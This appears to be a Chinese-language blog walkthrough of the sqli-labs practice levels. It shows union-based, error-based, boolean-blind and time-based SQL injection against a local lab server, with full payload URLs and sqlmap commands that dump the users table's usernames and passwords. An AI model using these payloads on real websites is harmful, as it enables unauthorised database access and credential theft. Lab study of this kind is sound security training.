方法一:联合查询
首先判断注入点的类型
判断列数,使用–+进行闭合
当order by 1 --+ 时回显正常。
判断可知有三列,判断哪两列有回显
2,3 有回显
利用2,3列的回显做文章,首先得到表名
然后得字段名,容易判断users中应当放着与用户的登录信息
得到username\password这两个字段中的所有内容
得到数据,注入成功
方法二:报错注入
通过extractvalue()进行报错注入,首先得到表名。
然后得到字段名
再得到字段的详细内容。
我们看到这里得到的用户名和密码并不完整,我们可以通过 where username not in ("","", …)来排除已经得到的用户名。
方法三:sqlmap
sqlmap -u "http://192.168.1.107/sqli-labs-master/Less-1/?id=1" --dbs
,爆出所有的数据库名
sqlmap -u "http://192.168.1.107/sqli-labs-master/Less-1/?id=1" --current-db
,爆出当前的数据库名
sqlmap -u "http://192.168.1.107/sqli-labs-master/Less-1/?id=1" -D "security" --tables
,爆出当前的数据库中的表名
sqlmap -u "http://192.168.1.107/sqli-labs-master/Less-1/?id=1" -D "security" -T "users" --columns
,爆出字段名
sqlmap -u "http://192.168.1.107/sqli-labs-master/Less-1/?id=1" -D "security" -T "users" -C "username,password" --dump
,爆出字段中的详细信息。
方法一:联合查询、
首先依旧是判断注入点的类型
然后判断有多少列
可知共有三列,然后判断那两列会有回显。
2,3列有回显,我们可以利用他的回显让他回显我们想要的内容。下图通过原始数据库information_schema.tables回显出所有的表名。
然后再回显出所有的字段名。
最后得到数据的详细信息。
方法二:报错注入
使用updatexml()函数进行报错注入,爆出表名。
爆出字段名。
爆出详细的数据信息。
通过where username not in ("", “”, …)来爆出其他的数据信息。
方法三:sqlmap
和上一关的方法相同,这就不说了。
这一关可以和第一关进行类比,它在注入的过程中与第一关唯一的不同就是?id=1%27)这里需要加一个向左的括号,这是因为他的数据库查询语句是?id=('1')
这样的格式,我们需要使用 ) 将前面的 ( 给闭合掉。除了这一点不同,这一关和第一关一摸一样,这里就不再赘述。我们来看看他的回显报错即可。
这一关可以和第三关进行类比,它在注入的过程中与第三关唯一的不同就是?id=1%27)这里需要将单引号变为双引号,这是因为他的数据库查询语句是?id=("1")
这样的格式,我们需要使用 " 将前面的 " 给闭合掉。除了这一点不同,这一关和第三关一样,这里就不再赘述。我们来看看他的回显报错即可。
方法一:Xpath报错注入
我们变换id的值,我们发现页面是没有任何变化的。
这就说明无法使用联合查询了,我们然?id=1’看看是否有报错。
有报错,说明可以使用报错注入,我们使用extractvalue()函数进行报错注入。首先回显出表名。
再爆出字段信息。
然后爆出详细的数据信息。
方法二:groupby重复键报错
爆出表名:
语法:http://192.168.1.107/sqli-labs-master/Less-5/?id=-1%27 union select concat(left(rand(),3),"^",(select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1))a,count(*),count(*) from information_schema.tables group by a --+
,通过变换limit的其实值我们可以遍历所有的表名
爆出字段名:
语法:http://192.168.1.107/sqli-labs-master/Less-5/?id=-1%27 union select concat(left(rand(),3),"^",(select concat(column_name) from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))a,count(*),count(*) from information_schema.tables group by a --+
,通过变换limit的值可以遍历所有字段名。
爆出详细数据信息
语法:http://192.168.1.107/sqli-labs-master/Less-5/?id=-1%27 union select concat(left(rand(),3),"^",(select concat_ws("-",username,password) from users limit 1,1))a,count(*),count(*) from information_schema.tables group by a --+
通过变换limit的值可以得到全部的用户名和密码。
方法三:exp(报错注入)
exp()函数当里面的数的值超过709时就会产生报错,且会执行里面的语句。
爆表名
爆字段名
报数据
方法四:bigint(报错注入)
当运算的数的值太大时会产生报错,且会执行里面的语句。
爆表名
爆字段名:
爆数据:
这一关和上一关唯一的不同点就是id的闭合方式由单引号变为了双引号,其余的都一样,这里不再赘述。
方法:文件写入
经过多次尝试我们可以判断到,这一关的后台sql查询语句可能是:select * from table where id=(('input'))
,因此我们闭合时需要使用 ')) 来闭合。
我们要使用文件写入,必须要知道文件的写入目录,这里我们可以通过其他的关卡来得到数据库的存放位置
方法:布尔盲注
首先id 变换,页面的回显不变,无法使用联合注入。
即使错了也没有回显,无法使用报错注入
这样我们想到了用布尔盲注,首先判断是否存在布尔类型的状态
此时有回显
此时无回显,因此判断可以进行布尔盲注。
首先判断数据库名的长度,使用length()函数。
经过多次尝试可得数据库名的长度为8
接下来通过,substr函数来判断数据库名的每一位分别是什么,通过变化ascii(substr(database(),x,1))中x
的值我们可以确定每一位的具体值。
最终我们可以确定数据库的全名是security,接下来我们判断表名。
语法:left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)
通过变换x和y的值我们可以得到所有的表名。
接下来判断所有的users中的字段名
语法:?id=1%27 and left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit x,1),y)="" --+
通过变换x,y的值可以得到username和password这两个字段名
接下来就是爆数据了
用户名:?id=1%27 and left((select username from users limit x,1),y)="" --+
通过变换x,y的值可以得到所有的用户名
密码:?id=1%27 and left((select password from users limit x,1),y)="" --+
通过变换x,y的值可以得到所有的密码
布尔盲注就是很麻烦需要手动去一个一个尝试,这时还不如直接sqlmap来的迅速美丽。
方法:延时注入
首先这一关是一个铁公鸡,不论我们输入什么它给我们的回显都是 You are in…(fxxk)
在这样的情况之下,我们只能祭出最后的杀手锏了,延时注入。首先判读是否可以延时注入。语法sleep(5)
我们看到确实等了5秒多有了动静,也就是说延时注入可行。
首先通过延时注入得到数据库名,首先判断库名的长度。语法:?id=1%27 and if(length(database())=x,sleep(5),1) --+
通过变换x的值可以得到库名的长度。
可知库名的长度为8,接下来判断数据库的名字。语法:?id=1%27 and if(ascii(substr(database(),x,1))=y,sleep(5),1) --+
,通过变换x,y的值可以得到数据库的名字。
经过多次尝试,可知数据库的名字为security。
接下来判断数据库security中的表名信息,首先判断第一个表名的长度,语法:?id=1%27 and if(length((select table_name from information_schema.tables where table_schema=database() limit x,1))
有了长度判断具体的表名就能方便一些,接下来我们判断表名,语法:?id=1%27 and if(left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)="r",sleep(5),1) --+
变换x,和y的值就可以得到所有的表名了。
这里加入我们经过了多次尝试终于得到了表名users,接下来判断字段名和数据内容,还是和上面一样的套路,判断长度,判断具体值,这里就不赘述了。
延时注入和布尔盲注一样都很麻烦,需要一次一次的尝试。如果读者有耐心的话可以自己试试得到全部的数据内容。